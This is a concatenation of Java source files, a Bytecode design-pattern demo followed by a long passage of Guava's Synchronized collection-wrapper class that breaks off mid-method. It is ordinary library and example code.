SOFTWARE. */ package com.iluwatar.bytecode; import com.iluwatar.bytecode.util.InstructionConverterUtil; import lombok.extern.slf4j.Slf4j; /** * The intention of Bytecode pattern is to give behavior the flexibility of data by encoding it as * instructions for a virtual machine. An instruction set defines the low-level operations that can * be performed. A series of instructions is encoded as a sequence of bytes. A virtual machine * executes these instructions one at a time, using a stack for intermediate values. By combining * instructions, complex high-level behavior can be defined. * * <p>This pattern should be used when there is a need to define high number of behaviours and * implementation engine is not a good choice because It is too lowe level Iterating on it takes too * long due to slow compile times or other tooling issues. It has too much trust. If you want to * ensure the behavior being defined can’t break the game, you need to sandbox it from the rest of * the codebase. */ @Slf4j public class App { private static final String LITERAL_0 = "LITERAL 0"; private static final String HEALTH_PATTERN = "%s_HEALTH"; private static final String GET_AGILITY = "GET_AGILITY"; private static final String GET_WISDOM = "GET_WISDOM"; private static final String ADD = "ADD"; private static final String LITERAL_2 = "LITERAL 2"; private static final String DIVIDE = "DIVIDE"; /** * Main app method. * * @param args command line args */ public static void main(String[] args) { var vm = new VirtualMachine( new Wizard(45, 7, 11, 0, 0), new Wizard(36, 18, 8, 0, 0)); vm.execute(InstructionConverterUtil.convertToByteCode(LITERAL_0)); vm.execute(InstructionConverterUtil.convertToByteCode(LITERAL_0)); vm.execute(InstructionConverterUtil.convertToByteCode(String.format(HEALTH_PATTERN, "GET"))); vm.execute(InstructionConverterUtil.convertToByteCode(LITERAL_0)); vm.execute(InstructionConverterUtil.convertToByteCode(GET_AGILITY)); vm.execute(InstructionConverterUtil.convertToByteCode(LITERAL_0)); vm.execute(InstructionConverterUtil.convertToByteCode(GET_WISDOM)); vm.execute(InstructionConverterUtil.convertToByteCode(ADD)); vm.execute(InstructionConverterUtil.convertToByteCode(LITERAL_2)); vm.execute(InstructionConverterUtil.convertToByteCode(DIVIDE)); vm.execute(InstructionConverterUtil.convertToByteCode(ADD)); vm.execute(InstructionConverterUtil.convertToByteCode(String.format(HEALTH_PATTERN, "SET"))); } }
smedals/java-design-patterns
bytecode/src/main/java/com/iluwatar/bytecode/App.java
394
/* * Copyright (C) 2007 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.common.collect; import static com.google.common.base.Preconditions.checkNotNull; import com.google.common.annotations.GwtCompatible; import com.google.common.annotations.GwtIncompatible; import com.google.common.annotations.J2ktIncompatible; import com.google.common.annotations.VisibleForTesting; import com.google.j2objc.annotations.RetainedWith; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.Serializable; import java.util.Collection; import java.util.Comparator; import java.util.Deque; import java.util.Iterator; import java.util.List; import java.util.ListIterator; import java.util.Map; import java.util.NavigableMap; import java.util.NavigableSet; import java.util.Queue; import java.util.RandomAccess; import java.util.Set; import java.util.SortedMap; import java.util.SortedSet; import java.util.Spliterator; import java.util.function.BiConsumer; import java.util.function.BiFunction; import java.util.function.Consumer; import java.util.function.Function; import java.util.function.Predicate; import java.util.function.UnaryOperator; import java.util.stream.Stream; import javax.annotation.CheckForNull; import org.checkerframework.checker.nullness.qual.NonNull; import org.checkerframework.checker.nullness.qual.Nullable; /** * Synchronized collection views. The returned synchronized collection views are serializable if the * backing collection and the mutex are serializable. * * <p>If {@code null} is passed as the {@code mutex} parameter to any of this class's top-level * methods or inner class constructors, the created object uses itself as the synchronization mutex. * * <p>This class should be used by other collection classes only. * * @author Mike Bostock * @author Jared Levy */ @GwtCompatible(emulated = true) @ElementTypesAreNonnullByDefault /* * I have decided not to bother adding @ParametricNullness annotations in this class. Adding them is * a lot of busy work, and the annotation matters only when the APIs to be annotated are visible to * Kotlin code. In this class, nothing is publicly visible (nor exposed indirectly through a * publicly visible subclass), and I doubt any of our current or future Kotlin extensions for the * package will refer to the class. Plus, @ParametricNullness is only a temporary workaround, * anyway, so we just need to get by without the annotations here until Kotlin better understands * our other nullness annotations. */ final class Synchronized { private Synchronized() {} static class SynchronizedObject implements Serializable { final Object delegate; final Object mutex; SynchronizedObject(Object delegate, @CheckForNull Object mutex) { this.delegate = checkNotNull(delegate); this.mutex = (mutex == null) ? this : mutex; } Object delegate() { return delegate; } // No equals and hashCode; see ForwardingObject for details. @Override public String toString() { synchronized (mutex) { return delegate.toString(); } } // Serialization invokes writeObject only when it's private. // The SynchronizedObject subclasses don't need a writeObject method since // they don't contain any non-transient member variables, while the // following writeObject() handles the SynchronizedObject members. @GwtIncompatible // java.io.ObjectOutputStream @J2ktIncompatible private void writeObject(ObjectOutputStream stream) throws IOException { synchronized (mutex) { stream.defaultWriteObject(); } } @GwtIncompatible // not needed in emulated source @J2ktIncompatible private static final long serialVersionUID = 0; } private static <E extends @Nullable Object> Collection<E> collection( Collection<E> collection, @CheckForNull Object mutex) { return new SynchronizedCollection<>(collection, mutex); } @VisibleForTesting static class SynchronizedCollection<E extends @Nullable Object> extends SynchronizedObject implements Collection<E> { private SynchronizedCollection(Collection<E> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @SuppressWarnings("unchecked") @Override Collection<E> delegate() { return (Collection<E>) super.delegate(); } @Override public boolean add(E e) { synchronized (mutex) { return delegate().add(e); } } @Override public boolean addAll(Collection<? extends E> c) { synchronized (mutex) { return delegate().addAll(c); } } @Override public void clear() { synchronized (mutex) { delegate().clear(); } } @Override public boolean contains(@CheckForNull Object o) { synchronized (mutex) { return delegate().contains(o); } } @Override public boolean containsAll(Collection<?> c) { synchronized (mutex) { return delegate().containsAll(c); } } @Override public boolean isEmpty() { synchronized (mutex) { return delegate().isEmpty(); } } @Override public Iterator<E> iterator() { return delegate().iterator(); // manually synchronized } @Override public Spliterator<E> spliterator() { synchronized (mutex) { return delegate().spliterator(); } } @Override public Stream<E> stream() { synchronized (mutex) { return delegate().stream(); } } @Override public Stream<E> parallelStream() { synchronized (mutex) { return delegate().parallelStream(); } } @Override public void forEach(Consumer<? super E> action) { synchronized (mutex) { delegate().forEach(action); } } @Override public boolean remove(@CheckForNull Object o) { synchronized (mutex) { return delegate().remove(o); } } @Override public boolean removeAll(Collection<?> c) { synchronized (mutex) { return delegate().removeAll(c); } } @Override public boolean retainAll(Collection<?> c) { synchronized (mutex) { return delegate().retainAll(c); } } @Override public boolean removeIf(Predicate<? super E> filter) { synchronized (mutex) { return delegate().removeIf(filter); } } @Override public int size() { synchronized (mutex) { return delegate().size(); } } @Override public @Nullable Object[] toArray() { synchronized (mutex) { return delegate().toArray(); } } @Override @SuppressWarnings("nullness") // b/192354773 in our checker affects toArray declarations public <T extends @Nullable Object> T[] toArray(T[] a) { synchronized (mutex) { return delegate().toArray(a); } } private static final long serialVersionUID = 0; } @VisibleForTesting static <E extends @Nullable Object> Set<E> set(Set<E> set, @CheckForNull Object mutex) { return new SynchronizedSet<>(set, mutex); } static class SynchronizedSet<E extends @Nullable Object> extends SynchronizedCollection<E> implements Set<E> { SynchronizedSet(Set<E> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @Override Set<E> delegate() { return (Set<E>) super.delegate(); } @Override public boolean equals(@CheckForNull Object o) { if (o == this) { return true; } synchronized (mutex) { return delegate().equals(o); } } @Override public int hashCode() { synchronized (mutex) { return delegate().hashCode(); } } private static final long serialVersionUID = 0; } private static <E extends @Nullable Object> SortedSet<E> sortedSet( SortedSet<E> set, @CheckForNull Object mutex) { return new SynchronizedSortedSet<>(set, mutex); } static class SynchronizedSortedSet<E extends @Nullable Object> extends SynchronizedSet<E> implements SortedSet<E> { SynchronizedSortedSet(SortedSet<E> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @Override SortedSet<E> delegate() { return (SortedSet<E>) super.delegate(); } @Override @CheckForNull public Comparator<? super E> comparator() { synchronized (mutex) { return delegate().comparator(); } } @Override public SortedSet<E> subSet(E fromElement, E toElement) { synchronized (mutex) { return sortedSet(delegate().subSet(fromElement, toElement), mutex); } } @Override public SortedSet<E> headSet(E toElement) { synchronized (mutex) { return sortedSet(delegate().headSet(toElement), mutex); } } @Override public SortedSet<E> tailSet(E fromElement) { synchronized (mutex) { return sortedSet(delegate().tailSet(fromElement), mutex); } } @Override public E first() { synchronized (mutex) { return delegate().first(); } } @Override public E last() { synchronized (mutex) { return delegate().last(); } } private static final long serialVersionUID = 0; } private static <E extends @Nullable Object> List<E> list( List<E> list, @CheckForNull Object mutex) { return (list instanceof RandomAccess) ? new SynchronizedRandomAccessList<E>(list, mutex) : new SynchronizedList<E>(list, mutex); } static class SynchronizedList<E extends @Nullable Object> extends SynchronizedCollection<E> implements List<E> { SynchronizedList(List<E> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @Override List<E> delegate() { return (List<E>) super.delegate(); } @Override public void add(int index, E element) { synchronized (mutex) { delegate().add(index, element); } } @Override public boolean addAll(int index, Collection<? extends E> c) { synchronized (mutex) { return delegate().addAll(index, c); } } @Override public E get(int index) { synchronized (mutex) { return delegate().get(index); } } @Override public int indexOf(@CheckForNull Object o) { synchronized (mutex) { return delegate().indexOf(o); } } @Override public int lastIndexOf(@CheckForNull Object o) { synchronized (mutex) { return delegate().lastIndexOf(o); } } @Override public ListIterator<E> listIterator() { return delegate().listIterator(); // manually synchronized } @Override public ListIterator<E> listIterator(int index) { return delegate().listIterator(index); // manually synchronized } @Override public E remove(int index) { synchronized (mutex) { return delegate().remove(index); } } @Override public E set(int index, E element) { synchronized (mutex) { return delegate().set(index, element); } } @Override public void replaceAll(UnaryOperator<E> operator) { synchronized (mutex) { delegate().replaceAll(operator); } } @Override public void sort(@Nullable Comparator<? super E> c) { synchronized (mutex) { delegate().sort(c); } } @Override public List<E> subList(int fromIndex, int toIndex) { synchronized (mutex) { return list(delegate().subList(fromIndex, toIndex), mutex); } } @Override public boolean equals(@CheckForNull Object o) { if (o == this) { return true; } synchronized (mutex) { return delegate().equals(o); } } @Override public int hashCode() { synchronized (mutex) { return delegate().hashCode(); } } private static final long serialVersionUID = 0; } static final class SynchronizedRandomAccessList<E extends @Nullable Object> extends SynchronizedList<E> implements RandomAccess { SynchronizedRandomAccessList(List<E> list, @CheckForNull Object mutex) { super(list, mutex); } private static final long serialVersionUID = 0; } static <E extends @Nullable Object> Multiset<E> multiset( Multiset<E> multiset, @CheckForNull Object mutex) { if (multiset instanceof SynchronizedMultiset || multiset instanceof ImmutableMultiset) { return multiset; } return new SynchronizedMultiset<>(multiset, mutex); } static final class SynchronizedMultiset<E extends @Nullable Object> extends SynchronizedCollection<E> implements Multiset<E> { @CheckForNull transient Set<E> elementSet; @CheckForNull transient Set<Multiset.Entry<E>> entrySet; SynchronizedMultiset(Multiset<E> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @Override Multiset<E> delegate() { return (Multiset<E>) super.delegate(); } @Override public int count(@CheckForNull Object o) { synchronized (mutex) { return delegate().count(o); } } @Override public int add(@ParametricNullness E e, int n) { synchronized (mutex) { return delegate().add(e, n); } } @Override public int remove(@CheckForNull Object o, int n) { synchronized (mutex) { return delegate().remove(o, n); } } @Override public int setCount(@ParametricNullness E element, int count) { synchronized (mutex) { return delegate().setCount(element, count); } } @Override public boolean setCount(@ParametricNullness E element, int oldCount, int newCount) { synchronized (mutex) { return delegate().setCount(element, oldCount, newCount); } } @Override public Set<E> elementSet() { synchronized (mutex) { if (elementSet == null) { elementSet = typePreservingSet(delegate().elementSet(), mutex); } return elementSet; } } @Override public Set<Multiset.Entry<E>> entrySet() { synchronized (mutex) { if (entrySet == null) { entrySet = typePreservingSet(delegate().entrySet(), mutex); } return entrySet; } } @Override public boolean equals(@CheckForNull Object o) { if (o == this) { return true; } synchronized (mutex) { return delegate().equals(o); } } @Override public int hashCode() { synchronized (mutex) { return delegate().hashCode(); } } private static final long serialVersionUID = 0; } static <K extends @Nullable Object, V extends @Nullable Object> Multimap<K, V> multimap( Multimap<K, V> multimap, @CheckForNull Object mutex) { if (multimap instanceof SynchronizedMultimap || multimap instanceof BaseImmutableMultimap) { return multimap; } return new SynchronizedMultimap<>(multimap, mutex); } static class SynchronizedMultimap<K extends @Nullable Object, V extends @Nullable Object> extends SynchronizedObject implements Multimap<K, V> { @CheckForNull transient Set<K> keySet; @CheckForNull transient Collection<V> valuesCollection; @CheckForNull transient Collection<Map.Entry<K, V>> entries; @CheckForNull transient Map<K, Collection<V>> asMap; @CheckForNull transient Multiset<K> keys; @SuppressWarnings("unchecked") @Override Multimap<K, V> delegate() { return (Multimap<K, V>) super.delegate(); } SynchronizedMultimap(Multimap<K, V> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @Override public int size() { synchronized (mutex) { return delegate().size(); } } @Override public boolean isEmpty() { synchronized (mutex) { return delegate().isEmpty(); } } @Override public boolean containsKey(@CheckForNull Object key) { synchronized (mutex) { return delegate().containsKey(key); } } @Override public boolean containsValue(@CheckForNull Object value) { synchronized (mutex) { return delegate().containsValue(value); } } @Override public boolean containsEntry(@CheckForNull Object key, @CheckForNull Object value) { synchronized (mutex) { return delegate().containsEntry(key, value); } } @Override public Collection<V> get(@ParametricNullness K key) { synchronized (mutex) { return typePreservingCollection(delegate().get(key), mutex); } } @Override public boolean put(@ParametricNullness K key, @ParametricNullness V value) { synchronized (mutex) { return delegate().put(key, value); } } @Override public boolean putAll(@ParametricNullness K key, Iterable<? extends V> values) { synchronized (mutex) { return delegate().putAll(key, values); } } @Override public boolean putAll(Multimap<? extends K, ? extends V> multimap) { synchronized (mutex) { return delegate().putAll(multimap); } } @Override public Collection<V> replaceValues(@ParametricNullness K key, Iterable<? extends V> values) { synchronized (mutex) { return delegate().replaceValues(key, values); // copy not synchronized } } @Override public boolean remove(@CheckForNull Object key, @CheckForNull Object value) { synchronized (mutex) { return delegate().remove(key, value); } } @Override public Collection<V> removeAll(@CheckForNull Object key) { synchronized (mutex) { return delegate().removeAll(key); // copy not synchronized } } @Override public void clear() { synchronized (mutex) { delegate().clear(); } } @Override public Set<K> keySet() { synchronized (mutex) { if (keySet == null) { keySet = typePreservingSet(delegate().keySet(), mutex); } return keySet; } } @Override public Collection<V> values() { synchronized (mutex) { if (valuesCollection == null) { valuesCollection = collection(delegate().values(), mutex); } return valuesCollection; } } @Override public Collection<Map.Entry<K, V>> entries() { synchronized (mutex) { if (entries == null) { entries = typePreservingCollection(delegate().entries(), mutex); } return entries; } } @Override public void forEach(BiConsumer<? super K, ? super V> action) { synchronized (mutex) { delegate().forEach(action); } } @Override public Map<K, Collection<V>> asMap() { synchronized (mutex) { if (asMap == null) { asMap = new SynchronizedAsMap<>(delegate().asMap(), mutex); } return asMap; } } @Override public Multiset<K> keys() { synchronized (mutex) { if (keys == null) { keys = multiset(delegate().keys(), mutex); } return keys; } } @Override public boolean equals(@CheckForNull Object o) { if (o == this) { return true; } synchronized (mutex) { return delegate().equals(o); } } @Override public int hashCode() { synchronized (mutex) { return delegate().hashCode(); } } private static final long serialVersionUID = 0; } static <K extends @Nullable Object, V extends @Nullable Object> ListMultimap<K, V> listMultimap( ListMultimap<K, V> multimap, @CheckForNull Object mutex) { if (multimap instanceof SynchronizedListMultimap || multimap instanceof BaseImmutableMultimap) { return multimap; } return new SynchronizedListMultimap<>(multimap, mutex); } static final class SynchronizedListMultimap< K extends @Nullable Object, V extends @Nullable Object> extends SynchronizedMultimap<K, V> implements ListMultimap<K, V> { SynchronizedListMultimap(ListMultimap<K, V> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @Override ListMultimap<K, V> delegate() { return (ListMultimap<K, V>) super.delegate(); } @Override public List<V> get(K key) { synchronized (mutex) { return list(delegate().get(key), mutex); } } @Override public List<V> removeAll(@CheckForNull Object key) { synchronized (mutex) { return delegate().removeAll(key); // copy not synchronized } } @Override public List<V> replaceValues(K key, Iterable<? extends V> values) { synchronized (mutex) { return delegate().replaceValues(key, values); // copy not synchronized } } private static final long serialVersionUID = 0; } static <K extends @Nullable Object, V extends @Nullable Object> SetMultimap<K, V> setMultimap( SetMultimap<K, V> multimap, @CheckForNull Object mutex) { if (multimap instanceof SynchronizedSetMultimap || multimap instanceof BaseImmutableMultimap) { return multimap; } return new SynchronizedSetMultimap<>(multimap, mutex); } static class SynchronizedSetMultimap<K extends @Nullable Object, V extends @Nullable Object> extends SynchronizedMultimap<K, V> implements SetMultimap<K, V> { @CheckForNull transient Set<Map.Entry<K, V>> entrySet; SynchronizedSetMultimap(SetMultimap<K, V> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @Override SetMultimap<K, V> delegate() { return (SetMultimap<K, V>) super.delegate(); } @Override public Set<V> get(K key) { synchronized (mutex) { return set(delegate().get(key), mutex); } } @Override public Set<V> removeAll(@CheckForNull Object key) { synchronized (mutex) { return delegate().removeAll(key); // copy not synchronized } } @Override public Set<V> replaceValues(K key, Iterable<? extends V> values) { synchronized (mutex) { return delegate().replaceValues(key, values); // copy not synchronized } } @Override public Set<Map.Entry<K, V>> entries() { synchronized (mutex) { if (entrySet == null) { entrySet = set(delegate().entries(), mutex); } return entrySet; } } private static final long serialVersionUID = 0; } static <K extends @Nullable Object, V extends @Nullable Object> SortedSetMultimap<K, V> sortedSetMultimap( SortedSetMultimap<K, V> multimap, @CheckForNull Object mutex) { if (multimap instanceof SynchronizedSortedSetMultimap) { return multimap; } return new SynchronizedSortedSetMultimap<>(multimap, mutex); } static final class SynchronizedSortedSetMultimap< K extends @Nullable Object, V extends @Nullable Object> extends SynchronizedSetMultimap<K, V> implements SortedSetMultimap<K, V> { SynchronizedSortedSetMultimap(SortedSetMultimap<K, V> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @Override SortedSetMultimap<K, V> delegate() { return (SortedSetMultimap<K, V>) super.delegate(); } @Override public SortedSet<V> get(K key) { synchronized (mutex) { return sortedSet(delegate().get(key), mutex); } } @Override public SortedSet<V> removeAll(@CheckForNull Object key) { synchronized (mutex) { return delegate().removeAll(key); // copy not synchronized } } @Override public SortedSet<V> replaceValues(K key, Iterable<? extends V> values) { synchronized (mutex) { return delegate().replaceValues(key, values); // copy not synchronized } } @Override @CheckForNull public Comparator<? super V> valueComparator() { synchronized (mutex) { return delegate().valueComparator(); } } private static final long serialVersionUID = 0; } private static <E extends @Nullable Object> Collection<E> typePreservingCollection( Collection<E> collection, @CheckForNull Object mutex) { if (collection instanceof SortedSet) { return sortedSet((SortedSet<E>) collection, mutex); } if (collection instanceof Set) { return set((Set<E>) collection, mutex); } if (collection instanceof List) { return list((List<E>) collection, mutex); } return collection(collection, mutex); } private static <E extends @Nullable Object> Set<E> typePreservingSet( Set<E> set, @CheckForNull Object mutex) { if (set instanceof SortedSet) { return sortedSet((SortedSet<E>) set, mutex); } else { return set(set, mutex); } } static final class SynchronizedAsMapEntries< K extends @Nullable Object, V extends @Nullable Object> extends SynchronizedSet<Map.Entry<K, Collection<V>>> { SynchronizedAsMapEntries( Set<Map.Entry<K, Collection<V>>> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @Override public Iterator<Map.Entry<K, Collection<V>>> iterator() { // Must be manually synchronized. return new TransformedIterator<Map.Entry<K, Collection<V>>, Map.Entry<K, Collection<V>>>( super.iterator()) { @Override Map.Entry<K, Collection<V>> transform(final Map.Entry<K, Collection<V>> entry) { return new ForwardingMapEntry<K, Collection<V>>() { @Override protected Map.Entry<K, Collection<V>> delegate() { return entry; } @Override public Collection<V> getValue() { return typePreservingCollection(entry.getValue(), mutex); } }; } }; } // See Collections.CheckedMap.CheckedEntrySet for details on attacks. @Override public @Nullable Object[] toArray() { synchronized (mutex) { /* * toArrayImpl returns `@Nullable Object[]` rather than `Object[]` but only because it can * be used with collections that may contain null. This collection never contains nulls, so * we could return `Object[]`. But this class is private and J2KT cannot change return types * in overrides, so we declare `@Nullable Object[]` as the return type. */ return ObjectArrays.toArrayImpl(delegate()); } } @Override @SuppressWarnings("nullness") // b/192354773 in our checker affects toArray declarations public <T extends @Nullable Object> T[] toArray(T[] array) { synchronized (mutex) { return ObjectArrays.toArrayImpl(delegate(), array); } } @Override public boolean contains(@CheckForNull Object o) { synchronized (mutex) { return Maps.containsEntryImpl(delegate(), o); } } @Override public boolean containsAll(Collection<?> c) { synchronized (mutex) { return Collections2.containsAllImpl(delegate(), c); } } @Override public boolean equals(@CheckForNull Object o) { if (o == this) { return true; } synchronized (mutex) { return Sets.equalsImpl(delegate(), o); } } @Override public boolean remove(@CheckForNull Object o) { synchronized (mutex) { return Maps.removeEntryImpl(delegate(), o); } } @Override public boolean removeAll(Collection<?> c) { synchronized (mutex) { return Iterators.removeAll(delegate().iterator(), c); } } @Override public boolean retainAll(Collection<?> c) { synchronized (mutex) { return Iterators.retainAll(delegate().iterator(), c); } } private static final long serialVersionUID = 0; } @VisibleForTesting static <K extends @Nullable Object, V extends @Nullable Object> Map<K, V> map( Map<K, V> map, @CheckForNull Object mutex) { return new SynchronizedMap<>(map, mutex); } static class SynchronizedMap<K extends @Nullable Object, V extends @Nullable Object> extends SynchronizedObject implements Map<K, V> { @CheckForNull transient Set<K> keySet; @CheckForNull transient Collection<V> values; @CheckForNull transient Set<Map.Entry<K, V>> entrySet; SynchronizedMap(Map<K, V> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @SuppressWarnings("unchecked") @Override Map<K, V> delegate() { return (Map<K, V>) super.delegate(); } @Override public void clear() { synchronized (mutex) { delegate().clear(); } } @Override public boolean containsKey(@CheckForNull Object key) { synchronized (mutex) { return delegate().containsKey(key); } } @Override public boolean containsValue(@CheckForNull Object value) { synchronized (mutex) { return delegate().containsValue(value); } } @Override public Set<Map.Entry<K, V>> entrySet() { synchronized (mutex) { if (entrySet == null) { entrySet = set(delegate().entrySet(), mutex); } return entrySet; } } @Override public void forEach(BiConsumer<? super K, ? super V> action) { synchronized (mutex) { delegate().forEach(action); } } @Override @CheckForNull public V get(@CheckForNull Object key) { synchronized (mutex) { return delegate().get(key); } } @Override @CheckForNull public V getOrDefault(@CheckForNull Object key, @CheckForNull V defaultValue) { synchronized (mutex) { return delegate().getOrDefault(key, defaultValue); } } @Override public boolean isEmpty() { synchronized (mutex) { return delegate().isEmpty(); } } @Override public Set<K> keySet() { synchronized (mutex) { if (keySet == null) { keySet = set(delegate().keySet(), mutex); } return keySet; } } @Override @CheckForNull public V put(K key, V value) { synchronized (mutex) { return delegate().put(key, value); } } @Override @CheckForNull public V putIfAbsent(K key, V value) { synchronized (mutex) { return delegate().putIfAbsent(key, value); } } @Override public boolean replace(K key, V oldValue, V newValue) { synchronized (mutex) { return delegate().replace(key, oldValue, newValue); } } @Override @CheckForNull public V replace(K key, V value) { synchronized (mutex) { return delegate().replace(key, value); } } @Override public V computeIfAbsent(K key, Function<? super K, ? extends V> mappingFunction) { synchronized (mutex) { return delegate().computeIfAbsent(key, mappingFunction); } } @Override @CheckForNull @SuppressWarnings("nullness") // TODO(b/262880368): Remove once we see @NonNull in JDK APIs public V computeIfPresent( K key, BiFunction<? super K, ? super @NonNull V, ? extends @Nullable V> remappingFunction) { synchronized (mutex) { return delegate().computeIfPresent(key, remappingFunction); } } @Override @CheckForNull public V compute( K key, BiFunction<? super K, ? super @Nullable V, ? extends @Nullable V> remappingFunction) { synchronized (mutex) { return delegate().compute(key, remappingFunction); } } @Override @CheckForNull @SuppressWarnings("nullness") // TODO(b/262880368): Remove once we see @NonNull in JDK APIs public V merge( K key, @NonNull V value, BiFunction<? super @NonNull V, ? super @NonNull V, ? extends @Nullable V> remappingFunction) { synchronized (mutex) { return delegate().merge(key, value, remappingFunction); } } @Override public void putAll(Map<? extends K, ? extends V> map) { synchronized (mutex) { delegate().putAll(map); } } @Override public void replaceAll(BiFunction<? super K, ? super V, ? extends V> function) { synchronized (mutex) { delegate().replaceAll(function); } } @Override @CheckForNull public V remove(@CheckForNull Object key) { synchronized (mutex) { return delegate().remove(key); } } @Override public boolean remove(@CheckForNull Object key, @CheckForNull Object value) { synchronized (mutex) { return delegate().remove(key, value); } } @Override public int size() { synchronized (mutex) { return delegate().size(); } } @Override public Collection<V> values() { synchronized (mutex) { if (values == null) { values = collection(delegate().values(), mutex); } return values; } } @Override public boolean equals(@CheckForNull Object o) { if (o == this) { return true; } synchronized (mutex) { return delegate().equals(o); } } @Override public int hashCode() { synchronized (mutex) { return delegate().hashCode(); } } private static final long serialVersionUID = 0; } static <K extends @Nullable Object, V extends @Nullable Object> SortedMap<K, V> sortedMap( SortedMap<K, V> sortedMap, @CheckForNull Object mutex) { return new SynchronizedSortedMap<>(sortedMap, mutex); } static class SynchronizedSortedMap<K extends @Nullable Object, V extends @Nullable Object> extends SynchronizedMap<K, V> implements SortedMap<K, V> { SynchronizedSortedMap(SortedMap<K, V> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @Override SortedMap<K, V> delegate() { return (SortedMap<K, V>) super.delegate(); } @Override @CheckForNull public Comparator<? super K> comparator() { synchronized (mutex) { return delegate().comparator(); } } @Override public K firstKey() { synchronized (mutex) { return delegate().firstKey(); } } @Override public SortedMap<K, V> headMap(K toKey) { synchronized (mutex) { return sortedMap(delegate().headMap(toKey), mutex); } } @Override public K lastKey() { synchronized (mutex) { return delegate().lastKey(); } } @Override public SortedMap<K, V> subMap(K fromKey, K toKey) { synchronized (mutex) { return sortedMap(delegate().subMap(fromKey, toKey), mutex); } } @Override public SortedMap<K, V> tailMap(K fromKey) { synchronized (mutex) { return sortedMap(delegate().tailMap(fromKey), mutex); } } private static final long serialVersionUID = 0; } static <K extends @Nullable Object, V extends @Nullable Object> BiMap<K, V> biMap( BiMap<K, V> bimap, @CheckForNull Object mutex) { if (bimap instanceof SynchronizedBiMap || bimap instanceof ImmutableBiMap) { return bimap; } return new SynchronizedBiMap<>(bimap, mutex, null); } static final class SynchronizedBiMap<K extends @Nullable Object, V extends @Nullable Object> extends SynchronizedMap<K, V> implements BiMap<K, V>, Serializable { @CheckForNull private transient Set<V> valueSet; @RetainedWith @CheckForNull private transient BiMap<V, K> inverse; private SynchronizedBiMap( BiMap<K, V> delegate, @CheckForNull Object mutex, @CheckForNull BiMap<V, K> inverse) { super(delegate, mutex); this.inverse = inverse; } @Override BiMap<K, V> delegate() { return (BiMap<K, V>) super.delegate(); } @Override public Set<V> values() { synchronized (mutex) { if (valueSet == null) { valueSet = set(delegate().values(), mutex); } return valueSet; } } @Override @CheckForNull public V forcePut(@ParametricNullness K key, @ParametricNullness V value) { synchronized (mutex) { return delegate().forcePut(key, value); } } @Override public BiMap<V, K> inverse() { synchronized (mutex) { if (inverse == null) { inverse = new SynchronizedBiMap<>(delegate().inverse(), mutex, this); } return inverse; } } private static final long serialVersionUID = 0; } static final class SynchronizedAsMap<K extends @Nullable Object, V extends @Nullable Object> extends SynchronizedMap<K, Collection<V>> { @CheckForNull transient Set<Map.Entry<K, Collection<V>>> asMapEntrySet; @CheckForNull transient Collection<Collection<V>> asMapValues; SynchronizedAsMap(Map<K, Collection<V>> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @Override @CheckForNull public Collection<V> get(@CheckForNull Object key) { synchronized (mutex) { Collection<V> collection = super.get(key); return (collection == null) ? null : typePreservingCollection(collection, mutex); } } @Override public Set<Map.Entry<K, Collection<V>>> entrySet() { synchronized (mutex) { if (asMapEntrySet == null) { asMapEntrySet = new SynchronizedAsMapEntries<>(delegate().entrySet(), mutex); } return asMapEntrySet; } } @Override public Collection<Collection<V>> values() { synchronized (mutex) { if (asMapValues == null) { asMapValues = new SynchronizedAsMapValues<V>(delegate().values(), mutex); } return asMapValues; } } @Override public boolean containsValue(@CheckForNull Object o) { // values() and its contains() method are both synchronized. return values().contains(o); } private static final long serialVersionUID = 0; } static final class SynchronizedAsMapValues<V extends @Nullable Object> extends SynchronizedCollection<Collection<V>> { SynchronizedAsMapValues(Collection<Collection<V>> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @Override public Iterator<Collection<V>> iterator() { // Must be manually synchronized. return new TransformedIterator<Collection<V>, Collection<V>>(super.iterator()) { @Override Collection<V> transform(Collection<V> from) { return typePreservingCollection(from, mutex); } }; } private static final long serialVersionUID = 0; } @GwtIncompatible // NavigableSet @VisibleForTesting static final class SynchronizedNavigableSet<E extends @Nullable Object> extends SynchronizedSortedSet<E> implements NavigableSet<E> { SynchronizedNavigableSet(NavigableSet<E> delegate, @CheckForNull Object mutex) { super(delegate, mutex); } @Override NavigableSet<E> delegate() { return (NavigableSet<E>) super.delegate(); } @Override @CheckForNull public E ceiling(E e) { synchronized (mutex) { return delegate().ceiling(e); } } @Override public Iterator<E> descendingIterator() { return delegate().descendingIterator(); // manually synchronized } @CheckForNull transient NavigableSet<E> descendingSet; @Override public NavigableSet<E> descendingSet() { synchronized (mutex) { if (descendingSet == null) { NavigableSet<E> dS = Synchronized.navigableSet(delegate().descendingSet(), mutex); descendingSet = dS; return dS; } return descendingSet; } } @Override @CheckForNull public E floor(E e) { synchronized (mutex) { return delegate().floor(e); } } @Override public NavigableSet<E> headSet(E toElement, boolean inclusive) { synchronized (mutex) { return Synchronized.navigableSet(delegate().headSet(toElement, inclusive), mutex); } } @Override public SortedSet<E> headSet(E toElement) { return headSet(toElement, false); } @Override @CheckForNull public E higher(E e) { synchronized (mutex) { return delegate().higher(e); } } @Override @CheckForNull public E lower(E e) { synchronized (mutex) { return delegate().lower(e); } } @Override @CheckForNull public E pollFirst() { synchronized (mutex) { return delegate().pollFirst(); } } @Override @CheckForNull public E pollLast() { synchronized (mutex) { return delegate().pollLast(); } } @Override public NavigableSet<E> subSet( E fromElement, boolean fromInclusive, E toElement, boolean toInclusive) { synchronized (mutex) { return Synchronized.navigableSet( 